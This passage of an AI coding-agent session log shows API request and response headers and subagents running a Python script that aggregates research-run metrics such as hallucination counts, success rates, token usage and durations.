\u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh));\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432 \u0441\u0430\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435.\",\n[2026-09-29T07:45:31.265Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:31.265Z] [INFO]       }\n[2026-09-29T07:45:31.265Z] [INFO]     ]\n[2026-09-29T07:45:31.265Z] [INFO]   },\n[2026-09-29T07:45:31.265Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"uuid\": \"1b2f1e20-42e2-401a-90a9-7ebeb5ae4ebb\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:31.257Z\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:31.265Z] [INFO] }\n[2026-09-29T07:45:31.284Z] [STDOUT] [log_067c0d] sending request {\n[2026-09-29T07:45:31.290Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:31.292Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:31.295Z] [STDOUT]   options: {\n[2026-09-29T07:45:31.303Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:31.307Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:31.310Z] [STDOUT]     body: {\n[2026-09-29T07:45:31.315Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:31.318Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:31.321Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:31.325Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:31.327Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:31.330Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:31.334Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:31.338Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:31.343Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:31.347Z] [STDOUT]   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https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 870ms\n[2026-09-29T07:45:32.158Z] [STDOUT] [log_067c0d] response start {\n[2026-09-29T07:45:32.161Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:32.163Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:32.168Z] [STDOUT]   headers: {\n[2026-09-29T07:45:32.175Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:32.181Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:32.185Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:32.190Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:32.195Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:32.202Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:32.207Z] [STDOUT]   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\"no-cache\",\n[2026-09-29T07:45:32.274Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:32.281Z] [STDOUT]     \"cf-ray\": \"a4295e6a9c4629ad-FRA\",\n[2026-09-29T07:45:32.289Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:32.296Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:32.302Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:32.306Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:32.312Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:32 GMT\",\n[2026-09-29T07:45:32.318Z] [STDOUT]     \"request-id\": \"req_011CfXMmEgJxq8t6T4BygNE9\",\n[2026-09-29T07:45:32.331Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:32.340Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:32.345Z] [STDOUT]     traceresponse: \"00-715ab9f46b7f224edc7fd4d4ded237bc-7c749effdb8166ee-01\",\n[2026-09-29T07:45:32.351Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:32.355Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:32.358Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:32.361Z] [STDOUT]   },\n[2026-09-29T07:45:32.364Z] [STDOUT]   durationMs: 870,\n[2026-09-29T07:45:32.368Z] [STDOUT] }\n[2026-09-29T07:45:32.375Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:32.380Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:32 GMT\",\n[2026-09-29T07:45:32.387Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:32.391Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:32.396Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:32.404Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:32.410Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:32.415Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:32.421Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:32.436Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:32.460Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:32.467Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:32.470Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:32.475Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:32.478Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:32.484Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:32.488Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:32.492Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:32.497Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:32.502Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:32.505Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:32.511Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:32.540Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:32.544Z] [STDOUT]   \"request-id\": \"req_011CfXMmEgJxq8t6T4BygNE9\",\n[2026-09-29T07:45:32.548Z] [STDOUT]   \"traceresponse\": \"00-715ab9f46b7f224edc7fd4d4ded237bc-7c749effdb8166ee-01\",\n[2026-09-29T07:45:32.558Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:32.563Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:32.567Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:32.574Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:32.584Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:32.589Z] [STDOUT]   \"cf-ray\": \"a4295e6a9c4629ad-FRA\",\n[2026-09-29T07:45:32.595Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:32.600Z] [STDOUT] [log_067c0d] response parsed {\n[2026-09-29T07:45:32.604Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:32.608Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:32.611Z] [STDOUT]   body: X {\n[2026-09-29T07:45:32.614Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:32.618Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:32.622Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:32.627Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:32.629Z] [STDOUT]     },\n[2026-09-29T07:45:32.631Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:32.640Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:32.644Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:32.648Z] [STDOUT]   },\n[2026-09-29T07:45:32.651Z] [STDOUT]   durationMs: 872,\n[2026-09-29T07:45:32.656Z] [STDOUT] }\n[2026-09-29T07:45:32.662Z] [INFO] {\n[2026-09-29T07:45:32.662Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"message\": {\n[2026-09-29T07:45:32.662Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"id\": \"msg_011CfXMkiXbmzrk21KPLjzD2\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"content\": [\n[2026-09-29T07:45:32.662Z] [INFO]       {\n[2026-09-29T07:45:32.662Z] [INFO]    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n(m.get('tokens_dialog_total'))]; print('tokdlg',len(T),sum(t for _,t in T))\\nTI=[n(m['tokens_input']) for r,m in a.items() if n(m.get('tokens_input'))]; print('tokin',len(TI),sum(TI))\\nTO=[n(m['tokens_output']) for r,m in a.items() if n(m.get('tokens_output'))]; print('tokout',len(TO),sum(TO))\\nD=[n(m['duration_active_s']) for r,m in a.items() if n(m.get('duration_active_s')) is not None]; print('dur',len(D),sum(D)/3600)\\nE=[n(m['episodes']) for r,m in a.items() if n(m.get('episodes')) is not None]; print('episodes',len(E),sum(E))\\nB=[n(m['ba_edits']) for r,m in a.items() if n(m.get('ba_edits')) is not None]; print('ba_edits',len(B),sum(B))\\nfor r in ['RUN-0014','RUN-0017','RUN-0019','RUN-0020','RUN-0023','RUN-0062','RUN-0063','RUN-0064','RUN-0065','RUN-0066','RUN-0067','RUN-0068','RUN-0069','RUN-0056','RUN-0057']:\\n    print(r, {k:v for k,v in a[r].items() if k not in('eval',)})\\nEOF\",\n[2026-09-29T07:45:32.662Z] [INFO]           \"description\": \"Aggregate run metrics\"\n[2026-09-29T07:45:32.662Z] [INFO]         },\n[2026-09-29T07:45:32.662Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:32.662Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:32.662Z] [INFO]         }\n[2026-09-29T07:45:32.662Z] [INFO]       }\n[2026-09-29T07:45:32.662Z] [INFO]     ],\n[2026-09-29T07:45:32.662Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:32.662Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:32.662Z] [INFO]       \"cache_creation_input_tokens\": 5442,\n[2026-09-29T07:45:32.662Z] [INFO]       \"cache_read_input_tokens\": 52692,\n[2026-09-29T07:45:32.662Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:32.662Z] [INFO]         \"ephemeral_5m_input_tokens\": 5442,\n[2026-09-29T07:45:32.662Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:32.662Z] [INFO]       },\n[2026-09-29T07:45:32.662Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:32.662Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:32.662Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:32.662Z] [INFO]     },\n[2026-09-29T07:45:32.662Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:32.662Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:32.662Z] [INFO]   },\n[2026-09-29T07:45:32.662Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"uuid\": \"beb9e296-3dfa-4711-b08b-86dd3fe0887d\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:32.164Z\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"request_id\": \"req_011CfXMki63pUSdZyVHuLjxe\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:32.662Z] [INFO] }\n[2026-09-29T07:45:32.671Z] [INFO] {\n[2026-09-29T07:45:32.671Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"description\": \"Running Aggregate run metrics\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:32.671Z] [INFO]     \"total_tokens\": 59044,\n[2026-09-29T07:45:32.671Z] [INFO]     \"tool_uses\": 15,\n[2026-09-29T07:45:32.671Z] [INFO]     \"duration_ms\": 69869\n[2026-09-29T07:45:32.671Z] [INFO]   },\n[2026-09-29T07:45:32.671Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"uuid\": \"cd7323b9-b07e-4029-bc9e-b1087a34641d\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:32.671Z] [INFO] }\n[2026-09-29T07:45:33.105Z] [STDOUT] [log_8d5146, request-id: \"req_011CfXMkq1X5jPENtDbb9SiR\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7377ms\n[2026-09-29T07:45:33.118Z] [STDOUT] [log_8d5146] response start {\n[2026-09-29T07:45:33.128Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:33.134Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:33.148Z] [STDOUT]   headers: {\n[2026-09-29T07:45:33.161Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:33.179Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:33.197Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:33.203Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:33.208Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:33.219Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.248Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:33.254Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:33.261Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:33.263Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:33.265Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:33.268Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:33.271Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:33.278Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.283Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:33.286Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:33.289Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:33.294Z] [STDOUT]     \"cf-ray\": \"a4295e47efb4dbb5-FRA\",\n[2026-09-29T07:45:33.301Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:33.316Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:33.331Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:33.339Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:33.346Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:33 GMT\",\n[2026-09-29T07:45:33.361Z] [STDOUT]     \"request-id\": \"req_011CfXMkq1X5jPENtDbb9SiR\",\n[2026-09-29T07:45:33.364Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:33.367Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:33.371Z] [STDOUT]     traceresponse: \"00-3af37b4d5615a6735283271a44577933-7f8f358d6d17e826-01\",\n[2026-09-29T07:45:33.377Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:33.384Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:33.391Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:33.401Z] [STDOUT]   },\n[2026-09-29T07:45:33.407Z] [STDOUT]   durationMs: 7377,\n[2026-09-29T07:45:33.416Z] [STDOUT] }\n[2026-09-29T07:45:33.455Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:33.463Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:33 GMT\",\n[2026-09-29T07:45:33.471Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:33.476Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:33.478Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:33.483Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:33.487Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:33.491Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:33.493Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:33.499Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:33.506Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:33.509Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:33.513Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:33.516Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:33.522Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:33.528Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:33.534Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:33.542Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.550Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:33.557Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:33.565Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:33.572Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:33.575Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.580Z] [STDOUT]   \"request-id\": \"req_011CfXMkq1X5jPENtDbb9SiR\",\n[2026-09-29T07:45:33.583Z] [STDOUT]   \"traceresponse\": \"00-3af37b4d5615a6735283271a44577933-7f8f358d6d17e826-01\",\n[2026-09-29T07:45:33.586Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:33.593Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:33.598Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:33.601Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:33.609Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:33.627Z] [STDOUT]   \"cf-ray\": \"a4295e47efb4dbb5-FRA\",\n[2026-09-29T07:45:33.667Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:33.673Z] [STDOUT] [log_8d5146] response parsed {\n[2026-09-29T07:45:33.681Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:33.699Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:33.704Z] [STDOUT]   body: X {\n[2026-09-29T07:45:33.712Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:33.724Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:33.734Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:33.738Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:33.744Z] [STDOUT]     },\n[2026-09-29T07:45:33.750Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:33.759Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:33.763Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:33.766Z] [STDOUT]   },\n[2026-09-29T07:45:33.770Z] [STDOUT]   durationMs: 7379,\n[2026-09-29T07:45:33.775Z] [STDOUT] }\n[2026-09-29T07:45:34.029Z] [INFO] {\n[2026-09-29T07:45:34.029Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"message\": {\n[2026-09-29T07:45:34.029Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:34.029Z] [INFO]     \"content\": [\n[2026-09-29T07:45:34.029Z] [INFO]       {\n[2026-09-29T07:45:34.029Z] [INFO]         \"tool_use_id\": \"toolu_01LgSRmrkFAuQKtwpi5gdaeR\",\n[2026-09-29T07:45:34.029Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:34.029Z] [INFO]         \"content\": \"halluc runs 11 sum 41.0 shipped 12.0 [('RUN-0015', 2.0, 0.0), ('RUN-0016', 4.0, 3.0), ('RUN-0018', 8.0, 1.0), ('RUN-0021', 6.0, 2.0), ('RUN-0022', 2.0, 1.0), ('RUN-0024', 3.0, 1.0), ('RUN-0025', 4.0, 1.0), ('RUN-0026', 4.0, 1.0), ('RUN-0027', 3.0, 1.0), ('RUN-0028', 2.0, 1.0), ('RUN-0029', 3.0, 0.0)]\\nquality [('RUN-0015', 3.0), ('RUN-0016', 3.0), ('RUN-0018', 3.0), ('RUN-0019', 3.0), ('RUN-0021', 3.0), ('RUN-0022', 3.0), ('RUN-0025', 3.0), ('RUN-0027', 3.0), ('RUN-0028', 2.0), ('RUN-0029', 3.0)]\\nSR 19 0.6663157894736842 [('RUN-0014', 0.25), ('RUN-0015', 0.8), ('RUN-0016', 0.89), ('RUN-0018', 0.63), ('RUN-0019', 0.29), ('RUN-0021', 0.71), ('RUN-0022', 0.92), ('RUN-0024', 0.75), ('RUN-0025', 0.5), ('RUN-0026', 0.5), ('RUN-0027', 0.4), ('RUN-0028', 0.33), ('RUN-0029', 0.56), ('RUN-0055', 0.8), ('RUN-0056', 0.7), ('RUN-0057', 0.63), ('RUN-0058', 1.0), ('RUN-0059', 1.0), ('RUN-0060', 1.0)]\\ntokdlg 33 62120233.0\\ntokin 35 60422659.0\\ntokout 38 1955533.0\\ndur 41 103.48305555555555\\nepisodes 42 1095.0\\nba_edits 10 53.0\\nRUN-0014 {'measured': True, 'source': 'runs/2026/RUN-0014/inputs/chat-export-1075.json', 'started_at': '2026-07-24T07:31:06Z', 'finished_at': '2026-07-24T08:06:20Z', 'duration_seconds': 2114, 'tokens.input': [REDACTED], 'tokens.output': [REDACTED], 'tokens.total': [REDACTED], 'tokens.reasoning': [REDACTED], 'tokens.cached': [REDACTED], 'iterations': 4, 'steps_planned': 4, 'steps_completed': 1, 'success_rate': 0.25, 'eval.verdict': 'works-with-edits', 'eval.quality': 2, 'eval.target_artifact': 'not-produced', 'eval.defects': 5, 'eval.factual_distortions': 1}\\nRUN-0017 {'turns': 56, 'user_turns': 28, 'assistant_turns': 28, 'episodes': 11, 'duration_s': 10960, 'duration_h': 3.04, 'window_utc': '2026-07-24T08:38:55Z \u2014 2026-07-24T11:41:35Z', 'input_tokens': 2431466, 'output_tokens': 104934, 'reasoning_tokens': 72891, 'total_tokens': 2536400, 'max_context_tokens': 197064}\\nRUN-0019 {'episodes': 7, 'episodes_accepted_as_is': 2, 'success_rate': 0.29, 'iterations': 17, 'ba_edits': 10, 'quality': 3, 'verdict': 'works-with-edits', 'output_tokens': 27219, 'reasoning_tokens': 10941, 'input_tokens_max_per_call': [REDACTED], 'input_tokens_sum': [REDACTED], 'duration_active_minutes': 54, 'duration_calendar_days': 12.8, 'sessions': 5}\\nRUN-0020 {'turns': 78, 'user_turns': 39, 'assistant_turns': 39, 'episodes': 14, 'duration_s': 334006, 'duration_h': 92.78, 'window_utc': '2026-07-10T13:21:21Z \u2014 2026-07-14T10:08:07Z', 'input_tokens': 15519645, 'output_tokens': 130426, 'reasoning_tokens': 72079, 'total_tokens': 15650071, 'max_context_tokens': 523249, 'token_method': 'pro\u2026ns)'}\\nRUN-0023 {'turns': 6, 'user_turns': 3, 'assistant_turns': 3, 'episodes': 3, 'duration_s': 573, 'duration_h': 0.16, 'window_utc': '2026-05-25T10:25:26Z \u2014 2026-05-25T10:34:59Z', 'input_tokens': 15304, 'output_tokens': 4355, 'reasoning_tokens': 1977, 'total_tokens': 19659, 'token_method': 'pro\u2026ns)'}\\nRUN-0062 {'source_workbooks': 3, 'source_rows': 87}\\nRUN-0063 {'upper_level_requirements': 6, 'use_cases': 3, 'expert_gates': 6}\\nRUN-0064 {'classified_errors': 8, 'functional_requirements': 3, 